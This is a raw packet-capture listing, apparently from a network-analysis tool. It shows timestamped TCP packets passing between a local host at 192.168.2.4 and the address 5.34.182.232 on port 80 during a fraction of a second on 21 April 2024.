                                                          Apr 21, 2024 15:22:40.638156891 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.638176918 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638215065 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638233900 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.638256073 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638300896 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.638314009 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638353109 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638390064 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638428926 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638438940 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.638467073 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638506889 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638514042 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.638545990 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638551950 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.638585091 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638626099 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638634920 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.638664007 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638701916 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638715982 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.638739109 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638777018 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638814926 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638827085 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.638859987 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638895988 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638906002 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.638935089 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.638938904 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.638973951 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639010906 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639019966 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639050007 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639086962 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639092922 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639126062 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639163971 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639200926 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639209986 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639240026 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639277935 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639288902 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639314890 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639328957 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639353991 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639395952 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639406919 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639434099 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639471054 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639478922 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639509916 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639547110 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639584064 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639591932 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639621973 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639658928 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639664888 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639697075 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639704943 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639735937 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639775991 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639779091 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639812946 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639849901 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639857054 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.639888048 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639925003 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639962912 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.639971972 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640001059 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640038967 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640048027 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640077114 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640080929 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640144110 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640182972 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640188932 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640222073 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640261889 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640300035 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640305042 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640337944 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640374899 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640383959 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640412092 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640424013 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640450954 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640487909 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640496016 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640526056 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640563011 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640566111 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640600920 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640638113 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640674114 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640685081 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640712023 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640749931 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640760899 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640786886 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640804052 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640825987 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640863895 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640877008 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640903950 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640940905 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.640964031 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.640980005 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641017914 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641056061 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641056061 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641098976 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641099930 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641138077 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641174078 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641206026 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641210079 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641249895 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641287088 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641305923 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641324997 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641335011 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641364098 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641402006 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641438007 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641448975 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641474962 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641511917 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641551018 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641582012 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641588926 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641624928 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641627073 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641643047 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641669035 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641707897 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641716003 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641746044 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641783953 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641794920 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641820908 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641858101 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641895056 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.641906023 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.641948938 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.659780979 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.659843922 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.659883022 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.659902096 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.659924984 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.659966946 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.659997940 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660006046 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660046101 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660056114 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660089016 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660141945 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660156012 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660193920 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660233021 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660243034 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660271883 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660310984 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660324097 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660348892 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660387993 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660425901 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660439014 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660464048 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660475969 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660502911 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660540104 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660556078 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660579920 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660618067 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660655022 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660666943 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660712957 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660742044 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660752058 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660789967 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660832882 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660851002 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660871029 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660888910 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.660909891 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660948038 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660985947 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.660994053 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.661025047 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.661062002 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.661072016 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.661102057 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.661103010 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.661139965 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.661176920 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.661215067 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.661226034 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.661254883 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.661293030 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.661302090 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.661336899 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.879275084 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879358053 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879396915 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879437923 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879477978 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879515886 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879554987 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879558086 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.879558086 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.879595995 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879636049 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879638910 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.879640102 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.879673958 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879710913 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879725933 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.879748106 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879785061 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879823923 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879841089 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.879863024 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879873991 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.879905939 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879944086 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.879971981 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.879983902 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880023003 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880059958 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880074024 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880098104 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880136013 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880157948 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880194902 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880208969 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880234957 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880275011 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880286932 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880316973 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880356073 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880392075 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880404949 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880439997 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880477905 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880491972 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880518913 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880531073 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880561113 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880600929 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880610943 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880642891 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880681992 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880692005 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880719900 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880759001 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880795002 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880808115 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880836010 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880872965 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880886078 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880912066 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880923986 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.880951881 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880990982 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.880999088 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881027937 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881066084 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881078005 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881104946 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881143093 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881181955 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881196022 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881218910 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881261110 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881283045 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881300926 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881304026 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881342888 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881380081 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881395102 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881421089 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881458998 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881473064 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881500006 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881537914 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881576061 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881589890 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881617069 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881654978 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881668091 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881695032 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881706953 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881736994 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881776094 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881789923 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881814003 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881855011 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881865978 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.881892920 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881932974 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881968975 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.881982088 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882008076 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882047892 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882054090 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882086992 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882098913 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882128000 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882168055 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882177114 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882205963 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882245064 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882257938 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882286072 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882322073 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882363081 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882373095 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882401943 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882441998 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882452011 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882479906 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882519007 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882530928 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882558107 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882564068 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882595062 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882635117 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882646084 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882675886 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882713079 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882738113 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882750988 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882791042 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882827044 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882836103 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:40.882872105 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:40.882908106 CEST80497405.34.182.232192.168.2.4
